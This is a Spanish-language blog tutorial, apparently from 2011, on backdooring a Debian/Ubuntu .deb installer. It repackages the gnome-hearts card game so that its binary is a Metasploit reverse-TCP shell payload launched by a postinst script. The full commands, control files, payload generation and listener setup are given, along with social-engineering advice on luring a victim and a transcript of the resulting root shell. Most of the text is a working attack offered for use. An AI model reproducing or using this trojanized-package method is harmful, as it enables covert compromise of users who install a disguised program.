En entradas anteriores sobre Payloads en MetasSploit, se ha hecho énfasis especial sobre Payloads contra plataformas Windows y como estos conseguían burlar la seguridad de la víctima. En esta ocasión se intentará indicar el procedimiento que frecuentemente se lleva a cabo para conseguir estos mismos resultados sobre plataformas GNU/Linux, en este caso particular sobre distribuciones Debian/Ubuntu por medio de envenenamiento de paquetes de instalación (*.DEB)
El procedimiento es muy sencillo, a continuación se listan los pasos que se deben de llevar a cabo para conseguir una consola remota usando un DEB infectado.
- Para que este ataque funcione, en primer lugar es necesario elegir una aplicación que sea interesante para el usuario, esta elección deberá hacerse en función del conocimiento que se tenga sobre la víctima, frecuentemente utilizando técnicas de ingeniería social como el “preloading” explicada en el Social Engineering Framework, posiblemente un juego o una aplicación con características que realmente sean de interés para el objetivo.
- Una vez elegido el software que se desea enviar al usuario, es necesario comenzar con el proceso de descarga, construcción y creación del payload usando MetaSploit.
Suponiendo que el objetivo sea una persona a la que le gustan los juegos de cartas y que exista una alta probabilidad que quiera usar una “versión mejorada” del clásico juego de corazones, procedemos a descargar fichero DEB correspondiente al juego “gnome-hearts”>/home/adastra/fakeGame/gnomecards# apt-get –download-only install gnome-hearts Reading package lists… Done
Building dependency tree
Reading state information… Done
The following extra packages will be installed:
gnome-games-extra-data
Recommended packages:
gnome-games-data
The following NEW packages will be installed:
gnome-games-extra-data gnome-hearts
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
Need to get 339kB/3,958kB of archives.
After this operation, 8,217kB of additional disk space will be used.
Do you want to continue [Y/n]? Y
Get:1 http://es.archive.ubuntu.com/ubuntu/ maverick/universe gnome-hearts amd64 0.3-2ubuntu3 [339kB]
Fetched 339kB in 0s (451kB/s)
Download complete and in download only mode
- Una vez descargado el fichero de instalación, se procede a crear la estructura de directorios.
>/home/adastra/fakeGame/gnomecards# mv /var/cache/apt/archives/gnome-hearts_0.3-2ubuntu3_amd64.deb . >/home/adastra/fakeGame/gnomecards# dpkg -x gnome-hearts_0.3-2ubuntu3_amd64.deb makeinstall
>/home/adastra/fakeGame/gnomecards# mkdir makeinstall/DEBIAN
- Ahora es necesario crear los ficheros de control para la construcción del DEB, los cuales deben de estar ubicados en el directorio DEBIAN, a continuación se listan los contenidos de estos ficheros:control
Package: gnome-hearts
Version: 0.3-2ubuntu3 Section: Games and Amusement Priority: optional Architecture: i386 Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com) Description: a heart’s card game Hearts is an implementation of the classic card game for the GNOME desktop, featuring configurable rulesets and editable computer opponents to satisfy widely diverging playing styles. |
postinst
#!/bin/sh
chmod 2755 /usr/games/gnome-hearts && /usr/games/gnome-hearts & |
- Ahora se procede a crear el payload con msfpayload.
>msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.33 LPORT=4444 X > /home/adastra/fakeGame/gnomecards/makeinstall/usr/games/gnome-hearts Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: {«LHOST»=>»192.168.1.33», «LPORT»=>»4444»}
- Con el payload creado y los ficheros de post-instalacion ubicados en el directorio DEBIAN se procede a la creación del fichero *.DEB
>/home/adastra/fakeGame/gnomecards/makeinstall/DEBIAN# dpkg-deb –build /home/adastra/fakeGame/gnomecards/makeinstall dpkg-deb: building package `gnome-hearts’ in `/home/adastra/fakeGame/gnomecards/makeinstall.deb’.
>/home/adastra/fakeGame/gnomecards# mv makeinstall.deb gnomehearts.deb
- Como se puede apreciar el fichero “makeinstall.deb” se ha creado y se ha renombrado a “gnome-hearts”, ahora es el momento de entregar este fichero a un usuario de GNU/Linux con un sistema Debian o alguno de sus derivados (como Ubuntu) por medio de alguna(s) de la(s) técnica(s) de ingeniería social que frecuentemente se utilizan para realizar ataques del estilo “client-side”, en este caso, para entregar el instalador malicioso, es posible “hospedarlo” en un servidor web al que posteriormente la víctima podrá acceder por medio de un navegador web o con el uso de la utilidad wget.
- Ahora, es necesario establecer el listener en la maquina del atacante para que espere una conexión reversa por parte de la maquina remota de la víctima que ha recibido el fichero malicioso
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.33:4444
[*] Starting the payload handler…
- La victima obtendrá el fichero “gnome-hearts.deb” y lo intentará ejecutar con la utilidad dpkg (opción -i) o lo hará desde el gestor de ficheros DEB contenido en distribuciones como Ubuntu (que en cualquier caso ejecutará este mismo comando dpkg). Una vez la victima ejecuta este comando, ya no hay vuelta atrás, el atacante tendrá acceso al sistema por medio de una conexión reversa entre la victima y el atacante.
[*] Started reverse handler on 192.168.1.33:4444
[*] Starting the payload handler… [*] Sending stage (36 bytes) to 192.168.1.34 [*] Command shell session 1 opened (192.168.1.33:4444 -> 192.168.1.34:33644) at Sun May 22 20:33:36 +0200 2011 whoami root uname -r 2.6.38-8-generic |
Esto es todo por el momento, En próximas entradas se cambiará el enfoque de este ataque sin el uso de MetaSploit, utilizando rutinas de código escritas en lenguajes de programación como C/C++